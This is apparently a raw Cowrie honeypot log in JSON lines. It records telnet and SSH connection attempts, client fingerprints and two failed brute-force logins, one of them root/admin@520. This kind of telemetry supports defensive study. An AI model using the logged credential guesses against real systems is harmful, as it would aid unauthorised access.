{"eventid":"cowrie.session.closed","duration":30.422598361968994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:50.165659Z","src_ip":"167.71.198.239","session":"b41335855265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542157888412476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:50.175579Z","src_ip":"167.71.198.239","session":"1eaf1bf0f2b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":39894,"dst_ip":"10.17.0.5","dst_port":23,"session":"c653f30a2585","protocol":"telnet","message":"New connection: 212.192.218.74:39894 (10.17.0.5:23) [session: c653f30a2585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:50.475856Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56434,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7ba5af4c41","protocol":"telnet","message":"New connection: 138.197.5.236:56434 (10.17.0.5:23) [session: ec7ba5af4c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:51.053934Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":40350,"dst_ip":"10.17.0.5","dst_port":23,"session":"964f75781dae","protocol":"telnet","message":"New connection: 212.192.218.74:40350 (10.17.0.5:23) [session: 964f75781dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:51.349423Z"}
{"eventid":"cowrie.session.closed","duration":30.998169898986816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.009183Z","src_ip":"138.197.5.236","session":"cd66c95d02c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79896831512451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.028276Z","src_ip":"185.26.126.47","session":"293309fabd2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846078634262085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.053297Z","src_ip":"185.26.126.47","session":"262bf527f331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"8945df4caef3","protocol":"telnet","message":"New connection: 107.152.33.170:32964 (10.17.0.5:23) [session: 8945df4caef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.093312Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60624,"dst_ip":"10.17.0.5","dst_port":23,"session":"628d3697de4b","protocol":"telnet","message":"New connection: 62.77.140.101:60624 (10.17.0.5:23) [session: 628d3697de4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.300205Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":40894,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb2ea95fd33","protocol":"telnet","message":"New connection: 212.192.218.74:40894 (10.17.0.5:23) [session: 4bb2ea95fd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.346374Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":40890,"dst_ip":"10.17.0.5","dst_port":23,"session":"252aae7aca1d","protocol":"telnet","message":"New connection: 212.192.218.74:40890 (10.17.0.5:23) [session: 252aae7aca1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.349998Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":56594,"dst_ip":"10.17.0.5","dst_port":23,"session":"21563403d20a","protocol":"telnet","message":"New connection: 138.197.5.236:56594 (10.17.0.5:23) [session: 21563403d20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:52.451181Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39956,"dst_ip":"159.203.135.109","dst_port":22,"session":"8635a5bbbabf","protocol":"ssh","message":"New connection: 159.203.92.129:39956 (159.203.135.109:22) [session: 8635a5bbbabf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.071684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.077335Z","src_ip":"159.203.92.129","session":"8635a5bbbabf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.081786Z","src_ip":"159.203.92.129","session":"8635a5bbbabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.294969081878662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.087420Z","src_ip":"138.197.5.236","session":"945f6860e27e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"aaaaaaaaaa","password":"123","message":"login attempt [aaaaaaaaaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.096434Z","src_ip":"159.203.92.129","session":"8635a5bbbabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94952964782715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.168877Z","src_ip":"77.72.5.107","session":"a445146812da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632790565490723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.231932Z","src_ip":"160.187.180.68","session":"e64869d51c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418232440948486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:53.245582Z","src_ip":"160.187.180.68","session":"a4d6bb5a1c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74759006500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:54.082666Z","src_ip":"62.77.140.101","session":"1bc16e31c05a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:54.103659Z","src_ip":"159.203.92.129","session":"8635a5bbbabf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.112596035003662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:54.170861Z","src_ip":"138.197.5.236","session":"d34e25f276f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":49156,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e6c0947dc5","protocol":"telnet","message":"New connection: 80.252.221.197:49156 (10.17.0.5:23) [session: 52e6c0947dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:54.300764Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":42458,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3186fc9149","protocol":"telnet","message":"New connection: 212.192.218.74:42458 (10.17.0.5:23) [session: 8f3186fc9149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.211454Z"}
{"eventid":"cowrie.session.closed","duration":30.611148595809937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.236095Z","src_ip":"160.187.180.68","session":"9d09d9325fb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":49170,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2943d507724","protocol":"telnet","message":"New connection: 80.252.221.197:49170 (10.17.0.5:23) [session: d2943d507724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.265894Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":42480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3fbf317b5e5","protocol":"telnet","message":"New connection: 212.192.218.74:42480 (10.17.0.5:23) [session: c3fbf317b5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.301917Z"}
{"eventid":"cowrie.session.closed","duration":31.032933712005615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.314823Z","src_ip":"160.187.180.68","session":"f7f256d0b048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60628,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d95b37f402a","protocol":"telnet","message":"New connection: 62.77.140.101:60628 (10.17.0.5:23) [session: 6d95b37f402a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.488283Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":45766,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee53a17408f9","protocol":"telnet","message":"New connection: 107.152.33.170:45766 (10.17.0.5:23) [session: ee53a17408f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.750562Z"}
{"eventid":"cowrie.session.closed","duration":30.835503101348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:55.986975Z","src_ip":"185.26.126.47","session":"c85c1ea1c263","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8355233669281,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:56.039216Z","src_ip":"185.26.126.47","session":"90ed320aa76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47239089012146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:56.150183Z","src_ip":"167.71.198.239","session":"ef9b2da7e644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043416500091553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:56.166556Z","src_ip":"160.187.180.68","session":"8fada5c2caf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41847252845764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:57.057817Z","src_ip":"185.26.126.47","session":"49398e6a6560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c7b10f0ffa","protocol":"telnet","message":"New connection: 136.244.67.81:34108 (10.17.0.5:23) [session: 83c7b10f0ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:57.212114Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":59068,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc3b1e6c56fd","protocol":"ssh","message":"New connection: 103.63.108.25:59068 (159.203.135.109:22) [session: fc3b1e6c56fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:57.437335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:57.440994Z","src_ip":"103.63.108.25","session":"fc3b1e6c56fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:57.717655Z","src_ip":"103.63.108.25","session":"fc3b1e6c56fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.953944444656372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:58.045785Z","src_ip":"107.152.33.170","session":"79064801f223","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@520","message":"login attempt [root/admin@520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:58.854971Z","src_ip":"103.63.108.25","session":"fc3b1e6c56fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92348313331604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:59.090026Z","src_ip":"185.26.126.47","session":"b7fd95603162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60291814804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:59.192354Z","src_ip":"160.187.180.68","session":"011617871046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.68","src_port":58368,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aff74f80e1a","protocol":"telnet","message":"New connection: 160.187.180.68:58368 (10.17.0.5:23) [session: 7aff74f80e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:41:59.860044Z"}
{"eventid":"cowrie.session.closed","duration":30.917514324188232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:00.078894Z","src_ip":"185.26.126.47","session":"0c522b49244d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739534378051758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:00.086390Z","src_ip":"62.77.140.101","session":"33d8982a708b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5393967628479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:00.127713Z","src_ip":"160.187.180.68","session":"a9b0023af8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:00.139001Z","src_ip":"103.63.108.25","session":"fc3b1e6c56fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89395260810852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.017546Z","src_ip":"138.197.5.236","session":"3ffa109088b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.015387058258057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.044594Z","src_ip":"138.197.5.236","session":"8f163f98cf1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767711400985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.051699Z","src_ip":"77.72.5.107","session":"1d3957137b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642804861068726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.102490Z","src_ip":"80.252.221.197","session":"fb7bcdc6b522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906002283096313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.199485Z","src_ip":"160.187.180.68","session":"132fc772fdcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":45394,"dst_ip":"10.17.0.5","dst_port":23,"session":"be91c0c6d88b","protocol":"telnet","message":"New connection: 212.192.218.74:45394 (10.17.0.5:23) [session: be91c0c6d88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.348585Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60588,"dst_ip":"10.17.0.5","dst_port":23,"session":"841ac9676b98","protocol":"telnet","message":"New connection: 62.77.140.101:60588 (10.17.0.5:23) [session: 841ac9676b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.363698Z"}
{"eventid":"cowrie.session.closed","duration":31.66454005241394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:01.592754Z","src_ip":"160.187.180.68","session":"caa76fe9bbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":45884,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa6f439951a","protocol":"telnet","message":"New connection: 212.192.218.74:45884 (10.17.0.5:23) [session: daa6f439951a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:02.315914Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":45944,"dst_ip":"10.17.0.5","dst_port":23,"session":"98467bef1f09","protocol":"telnet","message":"New connection: 212.192.218.74:45944 (10.17.0.5:23) [session: 98467bef1f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:02.456311Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb4ba22e195","protocol":"telnet","message":"New connection: 62.77.140.101:60592 (10.17.0.5:23) [session: 9eb4ba22e195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:02.661178Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":58446,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1d8628ccf9","protocol":"telnet","message":"New connection: 138.197.5.236:58446 (10.17.0.5:23) [session: 7e1d8628ccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:02.775658Z"}
{"eventid":"cowrie.session.closed","duration":31.5432767868042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.124709Z","src_ip":"160.187.180.68","session":"a32dc116741e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57866930961609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.157762Z","src_ip":"160.187.180.68","session":"d74804c293c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":46258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1a1d954edf2","protocol":"telnet","message":"New connection: 212.192.218.74:46258 (10.17.0.5:23) [session: d1a1d954edf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.237781Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.62.47.99","src_port":56252,"dst_ip":"10.17.0.5","dst_port":23,"session":"f232efad6ac4","protocol":"telnet","message":"New connection: 169.62.47.99:56252 (10.17.0.5:23) [session: f232efad6ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.279310Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":60600,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25b7945f59b","protocol":"telnet","message":"New connection: 62.77.140.101:60600 (10.17.0.5:23) [session: d25b7945f59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.315078Z"}
{"eventid":"cowrie.session.closed","duration":120.00110960006714,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.788515Z","src_ip":"152.59.19.2","session":"f72a9a25692d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183057785034,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:03.953924Z","src_ip":"152.59.19.2","session":"3c78ecd347a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967074871063232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.019405Z","src_ip":"138.197.5.236","session":"7d2735838fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.218.74","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7014bbfcc3","protocol":"telnet","message":"New connection: 212.192.218.74:46698 (10.17.0.5:23) [session: 2b7014bbfcc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.340411Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":51013,"dst_ip":"159.203.135.109","dst_port":23,"session":"561e63142df7","protocol":"telnet","message":"New connection: 152.59.19.2:51013 (159.203.135.109:23) [session: 561e63142df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:42:04.348273Z"}
